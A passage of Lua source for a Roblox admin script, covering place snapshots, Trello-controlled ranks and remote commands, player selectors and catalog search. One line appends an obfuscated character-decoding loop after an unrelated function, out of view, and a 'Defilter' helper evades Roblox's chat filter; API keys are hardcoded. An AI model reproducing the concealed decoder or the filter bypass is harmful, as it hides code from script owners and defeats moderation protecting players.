  2347. Data.Label = string.gsub(Obj.Parent.Name, "'", "")
  2348. end
  2349.  
  2350. if not Skip then
  2351. Data.Color = GUI:Color3ToHex(Obj.Color);
  2352. Data.Size = Size;
  2353. Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
  2354. Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
  2355. Data.Transparency = STRING:StringRound(Obj.Transparency);
  2356. Data.Reflectance = STRING:StringRound(Obj.Reflectance);
  2357. Data.Textures = {};
  2358. Data.Material = string.sub(tostring(Obj.Material),15);
  2359.  
  2360. for _,Sub in pairs(Obj:GetChildren()) do
  2361. if Sub:IsA("Decal") then
  2362. local Texture = string.match(Sub.Texture, "%d+")
  2363. if Sub.Texture == "rbxasset://textures/face.png" then
  2364. Texture = "FACE"
  2365. end
  2366. Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
  2367. end
  2368. end
  2369.  
  2370. PartAmount = PartAmount + 1
  2371. table.insert(PlaceData.Parts, Data)
  2372.  
  2373. if PartAmount >= MaxPartAmount then
  2374. break
  2375. end
  2376. end
  2377. end
  2378. end
  2379. if #Obj:GetChildren() > 0 then
  2380. Scan(Obj)
  2381. end
  2382. end
  2383. end
  2384. Scan(Workspace)
  2385.  
  2386. PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
  2387. PlaceData.Other.PartAmount = PartAmount;
  2388. PlaceJSON = Server.HS:JSONEncode(PlaceData)
  2389.  
  2390. local Res = "Could not get response"
  2391. local function SendData()
  2392. Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
  2393. end
  2394. if Stopypcall == true then SendData() else ypcall(SendData) end
  2395. if PrintResponse then print(Res) end
  2396.  
  2397. print("Sent snapshot")
  2398. end
  2399.  
  2400.  
  2401. function REMOTE:DefineWord(Word, Source)
  2402. if not Word then return end
  2403. if not Source then Source = "all" end
  2404.  
  2405. local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  2406. if Response then
  2407. local Decode = REMOTE:Decode(Response)
  2408. if #Decode > 0 then
  2409. return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  2410.  
  2411. ]]..Decode[1]["text"]
  2412. else
  2413. return "Invalid English word"
  2414. end
  2415. else
  2416. return "Cannot connect to database"
  2417. end
  2418. end
  2419.  
  2420. function REMOTE:DownloadJoke(Speaker)
  2421. local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
  2422. local Joke = nil
  2423. if Res then
  2424. local _, Start = string.find(Res, "</h2>")
  2425. local End, _ = string.find(string.sub(Res, Start), "</td>")
  2426.  
  2427. Joke = string.sub(Res, Start, End + 1 + Start - 5)
  2428. Joke = string.gsub(Joke, "\n", "")
  2429. Joke = string.gsub(Joke, " ", "") -- tab
  2430. Joke = string.gsub(Joke, "</ul>", "")
  2431. Joke = string.gsub(Joke, "<ul>", "")
  2432. Joke = string.gsub(Joke, "</li>", [[
  2433.  
  2434. ]])
  2435. Joke = string.gsub(Joke, "<li>", "")
  2436. Joke = string.gsub(Joke, "</p>", "")
  2437. Joke = string.gsub(Joke, "<p>", "")
  2438. Joke = string.gsub(Joke, "<", "")
  2439. Joke = string.gsub(Joke, ">", "")
  2440. end
  2441.  
  2442. return Joke
  2443. end
  2444.  
  2445. function REMOTE:GetAddon()
  2446. return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
  2447. end
  2448.  
  2449. function REMOTE:TrelloGetAdminBoard()
  2450. local BoardsJSON,Boards,ReturnBoard
  2451.  
  2452. ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
  2453.  
  2454. if BoardsJSON then
  2455. Boards = REMOTE:Decode(BoardsJSON)
  2456. end
  2457. if Boards then
  2458. for _,Board in pairs(Boards) do
  2459. if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
  2460. ReturnBoard = Board
  2461. break
  2462. end
  2463. end
  2464. if not ReturnBoard then -- create board if not created
  2465. print("Creating Trello Board")
  2466. local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
  2467. local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
  2468. ReturnBoard = REMOTE:Decode(BoardJSON)
  2469. end
  2470. end
  2471. return ReturnBoard
  2472. end
  2473.  
  2474. function REMOTE:TrelloGetAdminLists(Board)
  2475. local Required = {}
  2476. local ListJSON,Lists
  2477. local ReturnLists = {}
  2478.  
  2479. for _,List in pairs(Trello.RequiredLists) do
  2480. table.insert(Required, List)
  2481. end
  2482.  
  2483. ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
  2484.  
  2485. if ListJSON then
  2486. Lists = REMOTE:Decode(ListJSON)
  2487. end
  2488. if Lists then
  2489. for _,List in pairs(Lists) do
  2490. for Num,Rel in pairs(Required) do
  2491. if List.name == Rel.name then
  2492. table.remove(Required, Num)
  2493. table.insert(ReturnLists, List)
  2494. end
  2495. end
  2496. end
  2497. for _,Rel in pairs(Required) do
  2498. local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
  2499. table.insert(ReturnLists, REMOTE:Decode(ListJSON))
  2500. end
  2501. end
  2502.  
  2503. return ReturnLists
  2504. end
  2505.  
  2506. function REMOTE:TrelloCacheData(Lists)
  2507. for _,List in pairs(Lists) do
  2508. local CardsJSON,Cards
  2509. ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
  2510. if CardsJSON then
  2511. Cards = REMOTE:Decode(CardsJSON)
  2512. end
  2513. if Cards then
  2514. local TemplateCards = nil
  2515. for _,TemplateList in pairs(Trello.RequiredLists) do
  2516. if TemplateList.name == List.name then
  2517. TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
  2518. break
  2519. end
  2520. end
  2521.  
  2522. for _,TemplateCard in pairs(TemplateCards) do
  2523. local CardExists = false
  2524. for _,Card in pairs(Cards) do
  2525. if Card.name == TemplateCard.name and Card.closed == false then
  2526. CardExists = true
  2527. end
  2528. end
  2529. if not CardExists then
  2530. print("Creating card "..TemplateCard.name)
  2531. local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
  2532. table.insert(Cards, REMOTE:Decode(NewCardJSON))
  2533. end
  2534. end
  2535.  
  2536. if List.name == "Ranked" then
  2537. for _,Card in pairs(Cards) do
  2538. if Settings.Ranks[Card.name] and Card.closed == false then
  2539. Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
  2540. end
  2541. end
  2542. elseif List.name == "Settings" then
  2543. for _,Card in pairs(Cards) do
  2544. if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
  2545. Trello.ToggleChecklist = Card.idChecklists[1]
  2546. elseif Card.name == "Command Execution" then
  2547. Trello.CommandID = Card.id
  2548. end
  2549. end
  2550. end
  2551. end
  2552. end
  2553. end
  2554.  
  2555. function REMOTE:TrelloHandleData(IgnoreCommand)
  2556. local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
  2557. if ToggleSettingsJSON then
  2558. ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
  2559. if Settings.LinkedAccount == "" then
  2560. local NewSettings = {}
  2561. for _,Item in pairs(ToggleSettings.checkItems) do
  2562. NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
  2563. end
  2564. Settings.Fun = NewSettings["Fun Commands Enabled"]
  2565. Settings.ServerLocked = NewSettings["Server Locked"]
  2566. Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
  2567. end
  2568. else
  2569. return false
  2570. end
  2571.  
  2572. local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
  2573. if CommandChatJSON then
  2574. CommandChat = REMOTE:Decode(CommandChatJSON)
  2575. local ClosestDT = 0
  2576. for _,ChatData in pairs(CommandChat) do
  2577. local DT = STRING:ConvertDateTime(ChatData.date)
  2578. ClosestDT = math.max(ClosestDT, DT)
  2579.  
  2580. if not IgnoreCommand and DT > Trello.LastCommandDT then
  2581. print("Executing Remote Trello Command")
  2582. CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
  2583. end
  2584. end
  2585. Trello.LastCommandDT = ClosestDT
  2586. else
  2587. return false
  2588. end
  2589.  
  2590. for Rank,ID in pairs(Trello.RankChecklistCache) do
  2591. local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
  2592. if ChecklistJSON then
  2593. Checklist = REMOTE:Decode(ChecklistJSON)
  2594.  
  2595. for _,Item in pairs(Checklist.checkItems) do
  2596. if Item.state == "complete" then
  2597. if RANK:ConvertRank(Rank) < 0 then
  2598. if not RANK:ScanExileList(Item.name) then
  2599. table.insert(Settings.Ranks[Rank], Item.name)
  2600. end
  2601. elseif RANK:ConvertRank(Rank) > 0 then
  2602. if not RANK:ScanAdminList(Item.name) then
  2603. table.insert(Settings.Ranks[Rank], Item.name)
  2604. end
  2605. end
  2606. elseif Item.state == "incomplete" then
  2607. for Num,Name in pairs(Settings.Ranks[Rank]) do
  2608. if string.lower(Name) == string.lower(Item.name) then
  2609. table.remove(Settings.Ranks[Rank], Num)
  2610. end
  2611. end
  2612. end
  2613. end
  2614. else
  2615. return false
  2616. end
  2617. end
  2618. return true
  2619. end
  2620.  
  2621. -- String functions --
  2622.  
  2623. function STRING:ConvertDateTime(DateTime)
  2624. local Num = 0
  2625. local TotalTime = 0
  2626. for i in string.gmatch(DateTime, "%d+") do
  2627. Num = Num + 1
  2628. DTNum = tonumber(i)
  2629. if Num == 1 then
  2630. TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
  2631. elseif Num == 2 then
  2632. TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
  2633. elseif Num == 3 then
  2634. TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
  2635. elseif Num == 4 then
  2636. TotalTime = TotalTime + DTNum * 60 * 60 -- hour
  2637. elseif Num == 5 then
  2638. TotalTime = TotalTime + DTNum * 60 -- minute
  2639. elseif Num == 6 then
  2640. TotalTime = TotalTime + DTNum -- second
  2641. end
  2642. end
  2643.  
  2644. return TotalTime
  2645. end
  2646.  
  2647. function STRING:TrelloStateConvert(State)
  2648. if State == "complete" then
  2649. return true
  2650. else
  2651. return false
  2652. end
  2653. end
  2654.  
  2655. function STRING:StringRound(Number)
  2656. Number = Number * 100
  2657. if Number >= 0.5 then
  2658. return tostring(math.ceil(Number)/100)
  2659. else
  2660. return tostring(math.floor(Number)/100)
  2661. end
  2662.  
  2663. return Number
  2664. end
  2665.  
  2666. function STRING:GetSplit(String, NumArgs, BetSplit)
  2667. if not String then return nil end
  2668. if BetSplit == nil then BetSplit = " " end
  2669. if NumArgs == nil then NumArgs = math.huge end
  2670.  
  2671. if NumArgs <= 0 then return {String} end
  2672.  
  2673. local RecentParse = 1
  2674. local Args = {}
  2675. for i = 1,NumArgs do
  2676. local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  2677. if Find1 and Find2 then
  2678. table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  2679. RecentParse = Find2 + 1
  2680. else
  2681. break
  2682. end
  2683. end
  2684. table.insert(Args,string.sub(String,RecentParse,#String))
  2685. return Args
  2686. end
  2687.  
  2688. function STRING:Defilter(String)
  2689. local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  2690. if RobloxApprove.Text == "Label" and String ~= "Label" then
  2691. local NewString = ""
  2692. for i = 1,#String,3 do
  2693. NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  2694. end
  2695. return NewString
  2696. else
  2697. return String
  2698. end
  2699. end
  2700.  
  2701. function STRING:Filter(String, From, To) -- #### you, roblox
  2702. if From then
  2703. if To then
  2704. return game:GetService("Chat"):FilterStringAsync(String, From, To)
  2705. else
  2706. return game:GetService("Chat"):FilterStringForBroadcast(String, From)
  2707. end
  2708. else
  2709. return String
  2710. end
  2711. end
  2712.  
  2713. function STRING:DetermineFilter(String, From, To)
  2714. if ShouldFilter then
  2715. return STRING:Filter(String, From, To)
  2716. else
  2717. return STRING:Defilter(String)
  2718. end
  2719. end
  2720.  
  2721. function STRING:LeetSpeak(Input)
  2722. if tostring(Input) then Input = string.upper(tostring(Input)) else return end
  2723. Input = string.gsub(Input, "LEET", "1337")
  2724. Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
  2725. Input = string.gsub(Input, "E", "3")
  2726. Input = string.gsub(Input, "O", "0")
  2727. Input = string.gsub(Input, "A", "4")
  2728. Input = string.gsub(Input, "X", "x")
  2729. Input = string.gsub(Input, "I", "1")
  2730. Input = string.gsub(Input, "S", "$")
  2731. return Input
  2732. end
  2733.  
  2734. function STRING:FormatReplace(Player, Input, From)
  2735. local Output = Input
  2736. for _,ReplaceData in pairs(StringReplacements) do
  2737. local ReplaceString = ReplaceData[1]
  2738. local ReplaceStrings = {}
  2739. if type(ReplaceString) == "table" then
  2740. ReplaceStrings = ReplaceString
  2741. else
  2742. ReplaceStrings = {ReplaceString}
  2743. end
  2744. for _,ReplaceString in pairs(ReplaceStrings) do
  2745. if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
  2746. local Replacement = ReplaceData[4](Player)
  2747. if type(Replacement) == "string" then
  2748. Output = string.gsub(Output, ReplaceString, Replacement)
  2749. else
  2750. print(ReplaceString.." cannot be replaced")
  2751. end
  2752. end
  2753. end
  2754. end
  2755. if From then
  2756. return STRING:DetermineFilter(Output, From, Player)
  2757. else
  2758. return STRING:DetermineFilter(Output, Player)
  2759. end
  2760. end
  2761.  
  2762. function STRING:EncodeSpecialChars(Input)
  2763. return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
  2764. end
  2765.  
  2766. function STRING:StringToBool(String)
  2767. if String == "true" then
  2768. return true
  2769. else
  2770. return false
  2771. end
  2772. end
  2773.  
  2774. function STRING:BoolString(Value)
  2775. if type(Value) == "boolean" then
  2776. if Value == true then
  2777. return "YES"
  2778. elseif Value == false then
  2779. return "NO"
  2780. end
  2781. else
  2782. return "NO"
  2783. end
  2784. end
  2785.  
  2786. function STRING:MakeAvoidance(Length)
  2787. if not Length then
  2788. Length = 32
  2789. end
  2790. local Avoidance = ""
  2791. for i = 1,Length do
  2792. Num = math.random(1,2)
  2793. if Num == 1 then
  2794. Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  2795. else
  2796. Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  2797. end
  2798. end
  2799. return Avoidance
  2800. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  2801.  
  2802. function STRING:FindAge(Days) -- By LuaModelmaker
  2803. local Years = math.floor(Days/365)
  2804. local OtherDays = math.fmod(Days, 365)
  2805. if Years > 1 then
  2806. return Years.." years and "..OtherDays.." days"
  2807. elseif Years == 1 then
  2808. return Years.." year and "..OtherDays.." days"
  2809. elseif Years == 0 then
  2810. return "(No years) "..OtherDays.." days"
  2811. end
  2812. end
  2813.  
  2814. function STRING:UnpackArgs(...)
  2815. local Pack = {...}
  2816. if type(Pack[1]) == "table" then Pack = Pack[1] end
  2817. local ReturnString = table.concat(Pack, ", ")
  2818. return ReturnString
  2819. end
  2820.  
  2821. function STRING:GetComma(Num)
  2822. local Formatted = Num
  2823. while true do
  2824. Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  2825. if _ == 0 then
  2826. break
  2827. end
  2828. end
  2829. return Formatted
  2830. end
  2831.  
  2832. function STRING:DecodeUTF8(Value)
  2833. local function DecodeString(Input)
  2834. if type(Input) == "string" then
  2835. for Find,Rep in pairs(HTMLDecode) do
  2836. Input = string.gsub(Input, "&#"..Find..";", Rep)
  2837. end
  2838. Input = string.gsub(Input, "&quot;", "'")
  2839. end
  2840. return Input
  2841. end
  2842. if type(Value) == "table" then
  2843. for Index,Var in pairs(Value) do
  2844. Value[Index] = DecodeString(Var)
  2845. end
  2846. elseif type(Value) == "string" then
  2847. Value = DecodeString(Value)
  2848. end
  2849. return Value
  2850. end
  2851.  
  2852. function STRING:IsSpacer(Input)
  2853. if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
  2854. return true
  2855. else
  2856. return false
  2857. end
  2858. end
  2859.  
  2860. function STRING:IsVowel(Input)
  2861. Input = string.lower(tostring(Input))
  2862. if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  2863. return true
  2864. else
  2865. return false
  2866. end
  2867. end
  2868.  
  2869. function STRING:ValidE(Input)
  2870. if not Input then return nil end
  2871. if string.lower(Input) == "e" or Input == "~" then
  2872. return true
  2873. else
  2874. return false
  2875. end
  2876. end
  2877.  
  2878. function STRING:Scan(String, Speaker)
  2879. local ReturnPlayers,ExcludeList = {},{}
  2880. if not String then String = "" end
  2881. if not Speaker then print("NO SPEAKER") end
  2882.  
  2883. if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2884. String = string.sub(String, 13)
  2885. else
  2886. String = string.lower(String)
  2887. end
  2888. local Words = STRING:GetSplit(String, nil, "/")
  2889. for _,Word in pairs(Words) do
  2890. if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2891. table.insert(ReturnPlayers, Speaker)
  2892. elseif Word == "all" or Word == "everyone" then
  2893. for _,Player in pairs(Server.Players:GetPlayers()) do
  2894. table.insert(ReturnPlayers, Player)
  2895. end
  2896. elseif Word == "others" or Word == "notme" then
  2897. for _,Player in pairs(Server.Players:GetPlayers()) do
  2898. if Player ~= Speaker then
  2899. table.insert(ReturnPlayers, Player)
  2900. end
  2901. end
  2902. elseif Word == "noobs" then
  2903. for _,Player in pairs(Server.Players:GetPlayers()) do
  2904. if Player.AccountAge < 365 then
  2905. table.insert(ReturnPlayers, Player)
  2906. end
  2907. end
  2908. elseif Word == "nonnoobs" then
  2909. for _,Player in pairs(Server.Players:GetPlayers()) do
  2910. if Player.AccountAge >= 365 then
  2911. table.insert(ReturnPlayers, Player)
  2912. end
  2913. end
  2914. elseif Word == "random" then
  2915. local RandomPlayers = {}
  2916. for _,Player in pairs(Server.Players:GetPlayers()) do
  2917. if Player ~= Speaker then
  2918. table.insert(RandomPlayers, Player)
  2919. end
  2920. end
  2921. table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  2922. elseif Word == "guests" then
  2923. for _,Player in pairs(Server.Players:GetPlayers()) do
  2924. if string.sub(Player.Name,1,6) == "Guest " then
  2925. table.insert(ReturnPlayers, Player)
  2926. end
  2927. end
  2928. elseif Word == "lowers" then
  2929. for _,Player in pairs(Server.Players:GetPlayers()) do
  2930. if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  2931. table.insert(ReturnPlayers, Player)
  2932. end
  2933. end
  2934. elseif Word == "uppers" then
  2935. for _,Player in pairs(Server.Players:GetPlayers()) do
  2936. if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  2937. table.insert(ReturnPlayers, Player)
  2938. end
  2939. end
  2940. elseif Word == "nbcs" then
  2941. for _,Player in pairs(Server.Players:GetPlayers()) do
  2942. if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  2943. table.insert(ReturnPlayers, Player)
  2944. end
  2945. end
  2946. elseif Word == "bcs" then
  2947. for _,Player in pairs(Server.Players:GetPlayers()) do
  2948. if Player.MembershipType == Enum.MembershipType.BuildersClub then
  2949. table.insert(ReturnPlayers, Player)
  2950. end
  2951. end
  2952. elseif Word == "tbcs" then
  2953. for _,Player in pairs(Server.Players:GetPlayers()) do
  2954. if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  2955. table.insert(ReturnPlayers, Player)
  2956. end
  2957. end
  2958. elseif Word == "obcs" then
  2959. for _,Player in pairs(Server.Players:GetPlayers()) do
  2960. if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  2961. table.insert(ReturnPlayers, Player)
  2962. end
  2963. end
  2964. elseif Word == "allbcs" then
  2965. for _,Player in pairs(Server.Players:GetPlayers()) do
  2966. if Player.MembershipType ~= Enum.MembershipType.None then
  2967. table.insert(ReturnPlayers, Player)
  2968. end
  2969. end
  2970. elseif Word == "nonadmins" then
  2971. for _,Player in pairs(Server.Players:GetPlayers()) do
  2972. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2973. if IsAdminTrue == false then
  2974. table.insert(ReturnPlayers, Player)
  2975. end
  2976. end
  2977. elseif Word == "admins" then
  2978. for _,Player in pairs(Server.Players:GetPlayers()) do
  2979. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2980. if IsAdminTrue == true then
  2981. table.insert(ReturnPlayers, Player)
  2982. end
  2983. end
  2984. elseif Word == "friends" then
  2985. for _,Player in pairs(Server.Players:GetPlayers()) do
  2986. if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
  2987. table.insert(ReturnPlayers, Player)
  2988. end
  2989. end
  2990. elseif string.sub(Word,1,5) == "team-" then
  2991. for _,Player in pairs(Server.Players:GetPlayers()) do
  2992. if Player.Neutral == false then
  2993. local InTeam = false
  2994. for _,Team in pairs(Teams:GetTeams()) do
  2995. if Team.TeamColor == Player.TeamColor then
  2996. if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  2997. InTeam = true
  2998. end
  2999. end
  3000. end
  3001. if InTeam == true then
  3002. table.insert(ReturnPlayers, Player)
  3003. end
  3004. end
  3005. end
  3006. elseif string.sub(Word,1,4) == "not-" then
  3007. local NameArg = string.sub(Word,5)
  3008.  
  3009. for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  3010. table.insert(ExcludeList, Player)
  3011. end
  3012. elseif string.sub(Word,1,7) == "radius-" then
  3013. local DidExe = false
  3014. local NumArg = tonumber(string.sub(Word,8))
  3015.  
  3016. if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  3017. for _,Player in pairs(Server.Players:GetChildren()) do
  3018. if Player.Character and Player.Character:FindFirstChild("Torso") then
  3019. if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  3020. DidExe = true
  3021. table.insert(ReturnPlayers, Player)
  3022. end
  3023. end
  3024. end
  3025. end
  3026.  
  3027. if DidExe then coroutine.wrap(function()
  3028. local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  3029. local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
  3030.  
  3031. for i = 0,0.5,0.02 do
  3032. Part.Transparency = 0.5+i
  3033. wait()
  3034. end
  3035. Part:Destroy()
  3036. end)() end
  3037. elseif string.sub(Word,1,3) == "id-" then
  3038. table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
  3039. else
  3040. if Word ~= "" then
  3041. for _,Player in pairs(Server.Players:GetPlayers()) do
  3042. if string.sub(string.lower(Player.Name),1,#Word) == Word then
  3043. table.insert(ReturnPlayers, Player)
  3044. end
  3045. end
  3046. else
  3047. table.insert(ReturnPlayers, Speaker)
  3048. end
  3049. end
  3050. end
  3051. for _,Player in pairs(ExcludeList) do
  3052. if Player and Player.Parent ~= nil then
  3053. for Num,Player2 in pairs(ReturnPlayers) do
  3054. if Player2 == Player then table.remove(ReturnPlayers, Num) end
  3055. end
  3056. end
  3057. end
  3058. for Num,Player in pairs(ReturnPlayers) do
  3059. if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  3060. end
  3061.  
  3062. local PlayerDump = {}
  3063. for _,Player in pairs(ReturnPlayers) do
  3064. PlayerDump[Player] = true
  3065. end
  3066. ReturnPlayers = {}
  3067. for Player,_ in pairs(PlayerDump) do
  3068. table.insert(ReturnPlayers, Player)
  3069. end
  3070.  
  3071. return ReturnPlayers
  3072. end
  3073.  
  3074. -- Market functions --
  3075.  
  3076. function MARKET:GetImageFormat(ID)
  3077. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  3078. local NewID = ID + 1
  3079. for i = 1,100 do
  3080. NewID = NewID -1
  3081. local Product = nil
  3082. ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  3083. if Product then
  3084. if Product == 1 then
  3085. break
  3086. end
  3087. end
  3088. if i == 100 then NewID = ID end
  3089. end
  3090. return NewID
  3091. end end
  3092. end
  3093.  
  3094. function MARKET:GetItemInfo(ID, Cache)
  3095. local Product = MarketCache[ID]
  3096. if not Cache or not Product then
  3097. repeat wait()
  3098. ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  3099. until Product ~= MarketCache[ID]
  3100. end
  3101. MarketCache[ID] = Product
  3102. return Product
  3103. end
  3104.  
  3105. function MARKET:SearchItem(Category, Query, Subcategory)
  3106. local URLAdd = ""
  3107. if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  3108. local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  3109. if JSON then
  3110. local Results = REMOTE:Decode(JSON)
  3111. if Results then
  3112. for Index,Info in pairs(Results) do
  3113. Info = STRING:DecodeUTF8(Info)
  3114. Results[Index] = Info
  3115. MarketCache[Info.AssetId] = {
  3116. AssetId = Info.AssetId;
  3117. AssetTypeId = Info.AssetTypeID;
  3118. ContentRatingTypeId = Info.ContentRatingTypeID;
  3119. Created = Info.CreatedDate;
  3120. Creator = {Name = Info.Creator, Id = Info.CreatorID};
  3121. Description = Info.Description;
  3122. IsForSale = Info.IsForSale;
  3123. IsLimited = Info.IsLimited;
  3124. IsLimitedUnique = Info.IsLimitedUnique;
  3125. IsNew = Info.IsNew;
  3126. IsPublicDomain = Info.IsPublicDomain;
  3127. MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  3128. Name = Info.Name;
  3129. PriceInRobux = Info.PriceInRobux;
  3130. PriceInTickets = Info.PriceInTickets;
  3131. ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  3132. Remaining = Info.Remaining;
  3133. Sales = Info.Sales;
  3134. Updated = Info.Updated;
  3135. }
  3136. end
  3137. return Results
  3138. end
  3139. end
  3140. end
  3141.  
  3142. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  3143. if not Player or not Category or not Query then return nil end
  3144. local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  3145. local Items = MARKET:SearchItem(Category, Query, Subcategory)
  3146. if Items then
  3147. if #Items ~= 0 then
  3148. local List,Correlate = {},{}
  3149. for Num,Info in pairs(Items) do
  3150. local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  3151. table.insert(List, Display)
  3152. Correlate[Display[1]] = Info.AssetId
  3153. end
  3154. CloseGui:Invoke()
  3155.  
  3156. local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  3157. Clicked.Event:connect(function(ClickName)
  3158. ClickedItem(Correlate[ClickName])
  3159. end)
  3160. else
  3161. CloseGui:Invoke()
  3162. GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  3163. end
  3164. else
  3165. CloseGui:Invoke()
  3166. GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  3167. end
  3168. end
  3169.  
  3170. function MARKET:AssetTypeToString(AssetType)
  3171. AssetType = math.floor(tonumber(AssetType) or 0)
  3172. if Assets.AssetTypes[AssetType] then
  3173. return Assets.AssetTypes[AssetType]
  3174. else
  3175. return "Unknown"
  3176. end
  3177. end
  3178.  
  3179. function MARKET:AccessoryToSubcategory(Accessory)
